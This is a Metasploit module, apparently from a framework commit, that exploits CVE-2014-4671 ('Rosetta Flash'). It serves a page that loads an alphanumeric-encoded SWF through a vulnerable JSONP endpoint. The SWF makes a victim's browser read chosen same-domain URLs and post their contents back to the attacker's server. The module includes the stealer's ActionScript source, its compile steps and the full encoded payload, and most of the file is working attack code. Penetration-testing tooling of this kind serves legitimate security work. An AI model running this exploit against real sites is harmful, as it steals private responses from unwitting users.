Land #3508, CVE-2014-4671 Flash JSONP disclosure
William Vu
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##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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require 'open-uri'
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require 'uri'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::Remote::HttpServer::HTML
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include Msf::Auxiliary::Report
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Flash "Rosetta" JSONP GET/POST Response Disclosure',
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'Description' => %q{
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A website that serves a JSONP endpoint that accepts a custom alphanumeric
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callback of 1200 chars can be abused to serve an encoded swf payload that
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steals the contents of a same-domain URL. Flash < 14.0.0.145 is required.
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This module spins up a web server that, upon navigation from a user, attempts
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to abuse the specified JSONP endpoint URLs by stealing the response from
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GET requests to STEAL_URLS.
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},
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'License' => MSF_LICENSE,
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'Author' => [
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'Michele Spagnuolo', # discovery, wrote rosetta encoder, disclosure
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'joev' # msf module
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],
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'References' =>
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[
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['CVE', '2014-4671'],
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['URL', 'http://miki.it/blog/2014/7/8/abusing-jsonp-with-rosetta-flash/'],
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['URL', 'https://github.com/mikispag/rosettaflash'],
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['URL', 'http://quaxio.com/jsonp_handcrafted_flash_files/']
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],
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'DisclosureDate' => 'Jul 8 2014',
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'Actions' => [ [ 'WebServer' ] ],
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'PassiveActions' => [ 'WebServer' ],
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'DefaultAction' => 'WebServer'))
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register_options(
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[
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OptString.new('CALLBACK', [ true, 'The name of the callback paramater', 'callback' ]),
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OptString.new('JSONP_URL', [ true, 'The URL of the vulnerable JSONP endpoint', '' ]),
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OptBool.new('CHECK', [ true, 'Check first that the JSONP endpoint works', true ]),
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OptString.new('STEAL_URLS', [ true, 'A comma-separated list of URLs to steal', '' ]),
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OptString.new('URIPATH', [ true, 'The URI path to serve the exploit under', '/' ])
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],
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self.class)
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end
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def run
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if datastore['CHECK'] && check == Msf::Exploit::CheckCode::Safe
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raise "JSONP endpoint does not allow sufficiently long callback names."
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end
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unless datastore['URIPATH'] == '/'
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raise "URIPATH must be set to '/' to intercept crossdomain.xml request."
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end
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exploit
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end
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def check
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test_string = Rex::Text.rand_text_alphanumeric(encoded_swf.length)
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io = open(exploit_url(test_string))
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if io.read.start_with? test_string
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Msf::Exploit::CheckCode::Vulnerable
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else
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Msf::Exploit::CheckCode::Safe
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end
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end
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def on_request_uri(cli, request)
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vprint_status("Request '#{request.method} #{request.uri}'")
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if request.uri.end_with? 'crossdomain.xml'
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print_status "Responding to crossdomain request.."
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send_response(cli, crossdomain_xml, 'Content-type' => 'text/x-cross-domain-policy')
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elsif request.uri.end_with? '.log'
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body = URI.decode(request.body)
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file = store_loot(
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"html", "text/plain", cli.peerhost, body, "flash_jsonp_rosetta", "Exfiltrated HTTP response"
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)
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url = body.lines.first.gsub(/.*?=/,'')
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print_good "#{body.length} bytes captured from target #{cli.peerhost} on URL:\n#{url}"
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print_good "Stored in #{file}"
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else
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print_status "Serving exploit HTML"
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send_response_html(cli, exploit_html)
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end
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end
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def exploit_url(data_payload)
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delimiter = if datastore['JSONP_URL'].include?('?') then '&' else '?' end
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"#{datastore['JSONP_URL']}#{delimiter}#{datastore['CALLBACK']}=#{data_payload}"
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end
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def exploit_html
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ex_url = URI.escape(get_uri.chomp('/')+'/'+Rex::Text.rand_text_alphanumeric(6+rand(20))+'.log')
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%Q|
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<!doctype html>
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<html>
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<body>
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<object type="application/x-shockwave-flash" data="#{exploit_url(encoded_swf)}"
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width=500 height=500>
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<param name="FlashVars"
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value="url=#{URI.escape datastore['STEAL_URLS']}&exfiltrate=#{ex_url}" />
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</object>
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</body>
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</html>
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end
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# Based off of http://miki.it/blog/2014/7/8/abusing-jsonp-with-rosetta-flash/
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#
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# Alphanumeric Flash swf applet that steals URLs. Compiled from the following code:
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#
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# class X {
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# static var app : X;
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#
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# function getURL(url:String) {
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# var r:LoadVars = new LoadVars();
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# r.onData = function(src:String) {
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# if (_root.exfiltrate) {
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# var w:LoadVars = new LoadVars();
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# w.x = url+"\n"+src;
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# w.sendAndLoad(_root.exfiltrate, w, "POST");
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# }
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# }
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# r.load(url, r, "GET");
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# }
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#
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# function X(mc) {
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# if (_root.url) {
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# var urls:Array = _root.url.split(",");
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# for (var i in urls) {
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# getURL(urls[i]);
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# }
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# }
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# }
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#
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# // entry point
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# static function main(mc) {
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# app = new X(mc);
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# }
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# }
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#
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#
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# Compiling the .as using mtasc and swftool:
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#
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# > mtasc.exe -swf out.swf -main -header 800:600:20 exploit.as
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# $ swfcombine -d out.swf -o out-uncompressed.swf
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# $ rosettaflash --input out-uncompressed.swf --output out-ascii.swf
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#
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def encoded_swf
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"CWSMIKI0hCD0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7iiudIbEAt333swW0s" \
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"sG03sDDtDDDt0333333Gt333swwv3wwwFPOHtoHHvwHHFhH3D0Up0IZUnnnnnnnnnnnn" \
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"nnnnnnnUU5nnnnnn3Snn7YNqdIbeUUUfV13333sDT133333333WEDDT13s03WVqefXAx" \
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"oookD8f8888T0CiudIbEAt33swwWpt03sDGDDDwwwtttttwwwGDt33333www033333Gf" \
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"BDRhHHUccUSsgSkKoe5D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7mNqdIbe1" \
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"WUUfV133sUUpDDUUDDUUDTUEDTEDUTUE0GUUD133333333sUEe1sfzA87TLx888znN8t" \
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"8F8fV6v0CiudIbEAtwwWDt03sDG0sDtDDDtwwtGwpttGwwt33333333w0333GDfBDFzA" \
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"HZYqqEHeYAHtHyIAnEHnHNVEJRlHIYqEqEmIVHlqzfjzYyHqQLzEzHVMvnAEYzEVHMHT" \
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"HbB2D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAtwuDtDtDDtpDGpD" \
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"DG0sDtwtwDDGDGtGpDDGwG33sptDDDtGDD33333s03sdFPZHyVQflQfrqzfHRBZHAqzf" \
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"HaznQHzIIHljjVEJYqIbAzvyHwXHDHtTToXHGhwXHDhtwXHDHWdHHhHxLHXaFHNHwXHD" \
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"Xt7D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7iiudIbEAt333wwE0GDtwpDtD" \
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"DGDGtG033sDDwGpDDGtDt033sDDt3333g3sFPXHLxcZWXHKHGlHLDthHHHLXAGXHLxcG" \
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"XHLdSkhHxvGXHDxskhHHGhHXCWXHEHGDHLTDHmGDHDxLTAcGlHthHHHDhLtSvgXH7D0U" \
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"p0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7YNqdIbeV133333333333333333gF03" \
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"sDeqUfzAoE80CiudIbEAtwwW3sD3w0sDt0wwGDDGpDtptDDtGwwGpDDtDDDGDDD33333" \
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"sG033gFPHHmODHDHttMWhHhVODHDhtTwBHHhHxUHHksSHoHOTHTHHHHtLuWhHXVODHDX" \
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"tlwBHHhHDUHXKscHCHOXHtXnOXH4D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn" \
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"7CiudIbEAtwwuwG333spDtDDGDDDt0333st0GGDDt33333www03sdFPlWJoXHgHOTHTH" \
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"HHHtLGwhHxfOdHDx4D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAtu" \
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"wttD333swG0wDDDw03333sDt33333sG03sDDdFPtdXvwhHdLGwhHxhGWwDHdlxXdhvwh" \
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"HdTg7D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAt333swwE03GDtD" \
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"wG0wpDG03sGDDD33333sw033gFPlHtxHHHDxLrkvKwTHLJDXLxAwlHtxHHHDXLjkvKwD" \
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"HDHLZWBHHhHxmHXgGHVHwXHLHA7D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7" \
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"CiudIbEAtsWt3wGww03GDttwtDDtDtwDwGDwGDttDDDwDtwwtG0GDtGpDDt33333www0" \
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"33GdFPlHLjDXthHHHLHqeeobHthHHHXDhtxHHHLZafHQxQHHHOvHDHyMIuiCyIYEHWSs" \
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"gHmHKcskHoXHLHwhHHfoXHLhnotHthHHHLXnoXHLxUfH1D0Up0IZUnnnnnnnnnnnnnnn" \
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"nnnnUU5nnnnnn3SnnwWNqdIbe133333333333333333WfF03sTeqefXA888ooo04Cx9"
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end
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def crossdomain_xml
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%Q|
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<?xml version="1.0" ?>
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<cross-domain-policy>
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<allow-access-from domain="*" />
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</cross-domain-policy>
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end
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def rhost
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URI.parse(datastore["JSONP_URL"]).host
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end
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end
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